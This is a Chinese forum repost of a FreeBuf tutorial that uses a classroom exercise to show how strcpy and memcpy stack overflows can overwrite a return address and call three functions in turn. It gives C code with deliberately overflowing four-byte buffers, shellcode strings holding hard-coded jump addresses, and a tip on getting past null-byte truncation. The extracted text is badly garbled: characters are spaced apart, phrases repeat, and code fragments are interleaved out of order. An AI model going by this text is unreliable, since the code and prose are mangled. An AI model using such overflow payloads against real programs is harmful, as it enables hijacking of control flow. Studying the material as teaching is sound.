搜索

[15245] 2020-04-12_缓冲区溢出之Strcpy和Memcpy

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2020-04-12_缓冲区溢出之Strcpy和Memcpy 缓 冲 区 溢 出 之 S t r c p y 和 M e m c p y P l u t o l   F r e e B u f   2 0 2 0 - 0 4 - 1 2 问 题 ： 定 义 三 个 函 数 问 题 ： 定 义 三 个 函 数 f u ' n 1 , f u n 2 , f u n 3 ， 不 使 用 嵌 入 式 汇 编 调 用 和 函 数 调 用 ， 仅 仅 字 符 串 的 操 作 按 顺 序 调 用 他 们 。 ， 不 使 用 嵌 入 式 汇 编 调 用 和 函 数 调 用 ， 仅 仅 字 符 串 的 操 作 按 顺 序 调 用 他 们 。 这 个 是 今 天 老 师 抛 出 来 的 一 个 问 题 ， 似 乎 有 着 似 曾 相 识 的 感 觉 。 想 到 之 前 老 师 用 s t r c p y ( ) 溢 出 实 现 过 三 个 函 数 的 调 用 ， 折 回 去 看 了 一 下 之 前 的 思 路 ， 然 后 按 照 题 意 进 行 分 析 。 方 法 一 ： 方 法 一 ： s t r c p y ( ) 函 数 ： 易 发 生 函 数 ： 易 发 生 x 0 0 截 断 截 断 s t r c p y ( ) 的 文 章 请 查 看 ： S t r c p y ( ) 函 数 之 缓 冲 区 溢 出 1 、 、 s t r c p y 溢 出 原 理 简 述 溢 出 原 理 简 述 以 下 为 s t r c p y （ ） 函 数 溢 出 的 示 意 图 ： 即 如 果 将 长 度 较 大 的 值   b   赋 值 给   较 短 的 值   a （ b > a ） ， 那 么 s t r c p y 之 后 ， b 多 出 来 将 一 部 分 将 会 覆 盖 原 来 的 内 存 单 元 。 当 溢 出 的 值 刚 好 覆 盖 了   函 数 结 束 后   r e t   返 回 的 地 址 时 ， 那 么 函 数   r e t 后 将 会 执 行   溢 出 的 值 。 拓 展 ： 拓 展 ： r e t 函 数 原 理 如 下 ： 即 将 栈 顶 的 元 素 赋 给 函 数 原 理 如 下 ： 即 将 栈 顶 的 元 素 赋 给 e i p ， 当 作 下 一 步 执 行 的 地 址 。 ， 当 作 下 一 步 执 行 的 地 址 。 p o p   e i p 由 于 我 们 需 要 知 道 函 数 结 束 后 由 于 我 们 需 要 知 道 函 数 结 束 后 r e t 执 行 的 位 置 。 即 要 知 道 当 执 行 执 行 的 位 置 。 即 要 知 道 当 执 行 r e t 时 ， 程 序 时 ， 程 序 e s p 的 值 ， 然 后 在 之 前 将 需 要 的 地 址 的 值 ， 然 后 在 之 前 将 需 要 的 地 址 准 确 的 覆 盖 到 这 个 准 确 的 覆 盖 到 这 个   e s p 处 。 处 。 2 、 代 码 示 例 及 分 析 、 代 码 示 例 及 分 析 原 理 讲 了 这 么 多 ， 接 下 来 我 们 用 代 码 来 演 示 一 下 吧 。 代 码 作 用 ： 执 行 f u n 1 ( ) 函 数 c h a r   * s h e l l c o d e 1 = " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 x 0 F x 1 0 x 4 0 x 0 0 " ;
在 开 始 执 行 m a i n ( ) 函 数 时 ， 如 下 图 ， 我 们 发 现   e s p   =   0 x 0 0 1 2 f f 8 4   ; 因 此 在 m a i n ( ) 函 数 正 常 执 行 结 束 后 ， 执 行 最 后 一 步   r e t 指 令 时   e s p 也 是 等 于   0 x 1 2 f f 8 4 （ 因 为 需 要 堆 栈 平 衡 ） 。 因 次 我 们 需 要 执 行 的 程 序 应 该 通 过 溢 出 而 到 达   0 x 1 2 f f 8 4   的 位 置 。 以 下 是 m a i n 函 数 执 行 结 束 后 ， 执 行 r e t 指 令 时   e s p 的 值 。 与 我 们 才 猜 想 的 一 样 。 接 下 来 我 们 应 该 将 s h e l l c o d e 的 地 址 通 过 溢 出 而 放 在   0 x 1 2 f f 8 4   的 位 置 。 通 过 对 s h e l l c o d e 的 不 断 尝 试 ， （ 可 令 s h e l l c d o e = " a b c d e f g h i j … … " 的 1 6 进 制 代 码 ） ， 然 后 观 察 内 存 单 元 中 的 1 6 进 制 码 ， 从 而 确 定   在   0 x 1 2 f f 8 4 的 字 符 ， 然 后 将 字 符 换 成   s h e l l c o d e 的 地 址 ， 便 可 在   r e t   时 进 行 准 确 的 跳 转 了 。 在 上 图 中 ， 我 么 可 以 发 现     在 字 符   “ r s t u ”     的 位 置 在   0 x 1 2 f f 8 4 ， 由 于 我 们 需 要 执 行 的 是 f u n ( ) 函 数 ， 因 此 可 以 将 f u n ( ) 函 数 跳 转 地 址 存 放 在   “ r s t u ”   字 符 的 位 置 。 如 下 我 们 可 以 发 现 ， 在 程 序 中 又 一 个 地 址 专 门 存 放 着   j m p   跳 转 到 相 应   f u n ( ) 函 数 语 句 的 地 方 。 因 此 ， 我 们 可 以 将 相 关 函 数 的     j m p   跳 转 语 句 的 地 址 放 在   上 面 的 字 符 处 。 c h a r   * s h e l l c o d e 1 = " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 x 0 F x 1 0 x 4 0 x 0 0 " ; v o i d   f u n 1 ( ) { p r i n t f ( " f u n 1   r u n ! n " ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) / / {         p r i n t f ( " b e g i n n " ) ; c h a r   a [ 4 ] = { 0 } ;         s t r c p y ( a , s h e l l c o d e 1 ) ; r e t u r n   0 ; }
3 、 、 s h e l l c o d e 的 构 造 的 构 造 如 下 ， 是 我 们 构 造 的 s h e l l c o d e ： 以 上 是 将 f u n 1 ( ) 函 数 的 j m p 语 句 放 入 栈 中 ， 那 么 其 他 函 数 呢 ？ 错 误 示 例 ： 错 误 示 例 ： 将 其 余 的 地 址 放 在 s h e l l c o d e 1 后 面 。 如 下 ， 为 构 造 好 的 s h e l l c o d e 。 这 个 是 错 误 的 ， 因 为   s t r c p y ( ) 函 数 在 遇 到   x 0 0   字 符 时 将 会 截 断 ， 因 此 后 面 的   j m p   f u n 2 和   f u n 3 的   跳 转 语 句 将 无 法 入 栈 。 （ 不 过 在 此 可 以 通 过 x o r 异 或 加 密 ， 然 后 解 密 执 行 ， 可 以 绕 过   0 0 截 断 哦 ！ ） 4 、 最 终 代 码 、 最 终 代 码 以 下 是 正 确 的 代 码 ： 可 以 发 现 ， 其 实 这 个 方 法 就 是 将   s t r c p y ( ) 函 数 重 复 使 用 ， 从 而 达 到   执 行   f u n ( ) 函 数 的 目 的 。 c h a r   * s h e l l c o d e 1   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                     ” x 0 F x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n 1 的 地 址 。 c h a r   * s h e l l c o d e 1   =     " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                         ” x 0 F x 1 0 x 4 0 x 0 0 "     / / j m p   f u n 1 的 地 址                                         ” x 0 5 x 1 0 x 4 0 x 0 0 "     / / j m p   f u n 2 的 地 址                                         ” x 0 A x 1 0 x 4 0 x 0 0 " ； / / j m p   f u n 3 的 地 址 # i n c l u d e   " s t d a f x . h " # i n c l u d e   " s t r i n g . h " / / c h a r   * s h e l l c o d e = " a b c d " ;   / / 不 断 地 尝 试 a b c . . . 可 以 用 来 测 试 定 位 ， 哈 哈 ， 不 过 这 个 是 一 种 笨 方 法 啦 c h a r   * s h e l l c o d e 1   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                         ” x 0 F x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n 1 ( ) c h a r   * s h e l l c o d e 2   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                         ” x 0 5 x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n 2 ( ) c h a r   * s h e l l c o d e 3   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                         ” x 0 A x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n c 3 ( ) c h a r   * s h e l l c o d e 4   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                         ” x 4 9 x 1 4 x 4 0 x 0 0 " ;   / / 防 止 报 错 / * * * x 4 9 x 1 4 x 4 0 x 0 0 地 址 ： 这 个 是 在 函 数 正 常 执 行 时   r e t   跳 转 的 地 址 。 欺 骗 程 序 正 常 执 行 完 成 ， 然 后 终 止 程 序 。 * * * / v o i d   f u n 1 ( ) {         c h a r   a 1 [ 4 ] = { 0 } ;         p r i n t f ( " f u n 1   r u n ! n " ) ;
方 法 二 ： 方 法 二 ： m e m c p y 函 数 溢 出 函 数 溢 出 1 、 、 m e m c p y 函 数 分 析 函 数 分 析 首 先 介 绍 一 下 m e m c p y ( ) 函 数 。 参 考 链 接 ： h t t p s : / / b l o g . c s d n . n e t / q q _ 2 8 3 5 1 6 0 9 / a r t i c l e / d e t a i l s / 8 4 7 0 4 5 3 1 用 法 ： # i n c l u d e   功 能 ： 由 s r c 所 指 内 存 区 域 复 制 c o u n t 个 字 节 到 d e s t 所 指 内 存 区 域 。 说 明 ： s r c 和 d e s t 所 指 内 存 区 域 不 能 重 叠 ， 函 数 返 回 指 向 d e s t 的 指 针 注 意 ： 1 . s o u r c e 和 d e s t i n 所 指 内 存 区 域 不 能 重 叠 ， 函 数 返 回 指 向 d e s t i n 的 指 针 2 . 与 s t r c p y 相 比 ， m e m c p y 并 不 是 遇 到 ’ 0 ’ 就 结 束 ， 而 是 一 定 会 拷 贝 完 n 个 字 节 。 m e m c p y 用 来 做 内 存 拷 贝 ， 你 可 以 拿 它 拷 贝 任 何 数 据 类 型 的 对 象 ， 可 以 指 定 拷 贝 的 数 据 长 度 ； 用 来 做 内 存 拷 贝 ， 你 可 以 拿 它 拷 贝 任 何 数 据 类 型 的 对 象 ， 可 以 指 定 拷 贝 的 数 据 长 度 ； m e m c p y ( a , b , n ) ： 将 ： 将 b 中 的 中 的 n 个 字 符 拷 贝 到 个 字 符 拷 贝 到 a 处 。 但 是 如 果 处 。 但 是 如 果     n > a 将 会 发 生 溢 出 。 相 较 于 将 会 发 生 溢 出 。 相 较 于   s t r c p y ( )   函 数 ， 函 数 ， m e m c p y 函 数 函 数 遇 到 遇 到     x 0 0   将 会 继 续 复 制 ， 不 发 生 将 会 继 续 复 制 ， 不 发 生   0 0   截 断 。 截 断 。 如 下 ， m e m c p y ( ) 执 行 后 将 会 发 生 溢 出 。 c h a r   a [ 1 0 0 ] ,   b [ 5 0 ] ; m e m c p y ( b ,   a , s i z e o f ( b ) ) ;   / / 注 意 如 用 s i z e o f ( a ) ， 会 造 成 b 的 内 存 地 址 溢 出         s t r c p y ( a 1 , s h e l l c o d e 2 ) ; } v o i d   f u n 2 ( ) {         c h a r   a 2 [ 4 ] = { 0 } ;         p r i n t f ( " f u n 2   r u n ! n " ) ;         s t r c p y ( a 2 , s h e l l c o d e 3 ) ; } v o i d   f u n 3 ( ) {         c h a r   a 3 [ 4 ] = { 0 } ;         p r i n t f ( " f u n 3   r u n ! n " ) ;         s t r c p y ( a 3 , s h e l l c o d e 4 ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         p r i n t f ( " b e g i n n " ) ;         c h a r   a [ 4 ] = { 0 } ;         s t r c p y ( a , s h e l l c o d e 1 ) ;         r e t u r n   0 ; } e x t e r n   v o i d   * m e m c p y ( v o i d   * d e s t ,   v o i d   * s r c ,   u n s i g n e d   i n t   c o u n t ) ;
2 、 构 造 、 构 造 p a y l o a d   m e m c p y ( ) 函 数 在 这 里 的 使 用 实 质 上 就 是 上 面   s t r c p y ( ) 的 错 误 示 例 ， 但 是 由 于   s t r c p y 有   x 0 0   截 断 ， 而 这 个 没 有 ， 所 以 便 可 以 构 造 如 下 p a y l o a d : 3 、 最 终 代 码 、 最 终 代 码 * 本 文 作 者 ： 本 文 作 者 ： P l u t o l ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M c h a r   s h e l l c o d e [ ]   =     " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                                         ” x 0 5 x 1 0 x 4 0 x 0 0 “     / / j m p   f u n 1                                         ” x 1 4 x 1 0 x 4 0 x 0 0 “     / / j m p   f u n 2                                         ” x 0 F x 1 0 x 4 0 x 0 0 “     / / j m p   f u n 3                                         ” x 4 9 x 1 4 x 4 0 x 0 0 " ;   / / 防 止 报 错 # i n c l u d e   " s t d a f x . h " # i n c l u d e   " s t r i n g . h " c h a r   s h e l l c o d e [ ]   =     " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 “                         ” x 0 5 x 1 0 x 4 0 x 0 0 “                         ” x 1 4 x 1 0 x 4 0 x 0 0 “                         ” x 0 F x 1 0 x 4 0 x 0 0 “                         ” x 4 9 x 1 4 x 4 0 x 0 0 " ; v o i d   f u n 1 ( ) {       p r i n t f ( " f u n 1   r u n ! n " ) ; } v o i d   f u n 2 ( ) {       p r i n t f ( " f u n 2   r u n ! n " ) ; } v o i d   f u n 3 ( ) {     p r i n t f ( " f u n 3   r u n ! n " ) ; } / / 主 函 数 i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         p r i n t f ( " b e g i n n " ) ;         c h a r   a [ 4 ] = { 0 } ;         / / 溢 出 原 理 :     s h e l l c o d e 长 度   >   a 长 度         m e m c p y ( a ,   s h e l l c o d e , s i z e o f ( s h e l l c o d e ) ) ;         r e t u r n   0 ; }
精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理